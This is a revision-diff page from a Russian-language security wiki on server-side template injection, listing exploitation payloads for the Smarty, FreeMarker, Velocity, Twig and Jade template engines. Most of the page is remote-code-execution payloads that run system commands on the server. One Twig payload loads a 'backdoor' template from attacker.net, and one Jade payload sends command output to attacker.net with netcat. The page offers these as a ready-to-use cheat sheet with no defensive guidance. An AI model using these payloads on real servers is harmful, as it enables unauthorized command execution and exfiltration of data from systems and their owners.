TemplateInj — различия между версиями
Материал из InformationSecurity WIKI
Drakylar (обсуждение | вклад) м |
Drakylar (обсуждение | вклад) м |
||
Строка 7: | Строка 7: | ||
==Определение обработчика шаблонов== | ==Определение обработчика шаблонов== | ||
− | + | ||
[[Файл:SSTI_Flow_Chart.png]] | [[Файл:SSTI_Flow_Chart.png]] | ||
+ | |||
+ | |||
+ | Jade: | ||
+ | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
+ | = 7*7 | ||
+ | </syntaxhighlight> | ||
==Эксплуатация== | ==Эксплуатация== | ||
+ | |||
+ | ===Smarty Engine=== | ||
+ | |||
+ | ====Вызов переменной==== | ||
+ | |||
+ | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
+ | {user.name} | ||
+ | </syntaxhighlight> | ||
+ | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
+ | ${username} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ====RCE==== | ||
+ | |||
+ | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
+ | {php}echo `id`;{/php} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
+ | <% | ||
+ | import os | ||
+ | x=os.popen('id').read() | ||
+ | %> | ||
+ | ${x} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ===FreeMarker=== | ||
+ | Используется в Java | ||
+ | |||
+ | ====RCE==== | ||
+ | |||
+ | <syntaxhighlight lang="java" line="1" style="overflow-x:scroll" > | ||
+ | <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") } | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | ===Velocity=== | ||
+ | Используется в Java и C# | ||
+ | |||
+ | ====RCE==== | ||
+ | |||
+ | Blind | ||
+ | |||
+ | <syntaxhighlight lang="java" line="1" style="overflow-x:scroll" > | ||
+ | $class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor() | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Viewed | ||
+ | |||
+ | <syntaxhighlight lang="java" line="1" style="overflow-x:scroll" > | ||
+ | #set($str=$class.inspect("java.lang.String").type) | ||
+ | #set($chr=$class.inspect("java.lang.Character").type) | ||
+ | #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) | ||
+ | $ex.waitFor() | ||
+ | #set($out=$ex.getInputStream()) | ||
+ | #foreach($i in [1..$out.available()]) | ||
+ | $str.valueOf($chr.toChars($out.read())) | ||
+ | #end | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | ===Twig=== | ||
+ | |||
+ | Используется в PHP | ||
+ | |||
+ | ====RCE==== | ||
+ | |||
+ | =====allow_url_include===== | ||
+ | |||
+ | С включенным allow_url_include (проверить можно в phpinfo() ). | ||
+ | |||
+ | <syntaxhighlight lang="php" line="1" style="overflow-x:scroll" > | ||
+ | {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | =====Other===== | ||
+ | |||
+ | <syntaxhighlight lang="php" line="1" style="overflow-x:scroll" > | ||
+ | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ====Вызов уязвимого метода==== | ||
+ | |||
+ | =====Sandbox===== | ||
+ | |||
+ | <syntaxhighlight lang="php" line="1" style="overflow-x:scroll" > | ||
+ | {{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | ===Jade=== | ||
+ | |||
+ | ====RCE==== | ||
+ | |||
+ | <syntaxhighlight lang="php" line="1" style="overflow-x:scroll" > | ||
+ | - var x = root.process | ||
+ | - x = x.mainModule.require | ||
+ | - x = x('child_process') | ||
+ | = x.exec('id | nc attacker.net 80') | ||
+ | </syntaxhighlight> | ||
==Примеры== | ==Примеры== | ||
Строка 27: | Строка 134: | ||
[https://en.wikipedia.org/wiki/Comparison_of_web_template_engines Вики - полный список template engines] | [https://en.wikipedia.org/wiki/Comparison_of_web_template_engines Вики - полный список template engines] | ||
+ | |||
+ | [https://portswigger.net/blog/server-side-template-injection portswigger tutorial] |
Версия 14:55, 30 июня 2018
Содержание
Обнаружение уязвимости
Определение обработчика шаблонов
Jade:
= 7*7
Эксплуатация
Smarty Engine
Вызов переменной
{user.name}
${username}
RCE
{php}echo `id`;{/php}
<%
import os
x=os.popen('id').read()
%>
${x}
FreeMarker
Используется в Java
RCE
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
Velocity
Используется в Java и C#
RCE
Blind
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()
Viewed
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
Twig
Используется в PHP
RCE
allow_url_include
С включенным allow_url_include (проверить можно в phpinfo() ).
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
Other
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Вызов уязвимого метода
Sandbox
{{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}
Jade
RCE
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
Примеры
Ссылки
tplmap - утилита для эксплуатации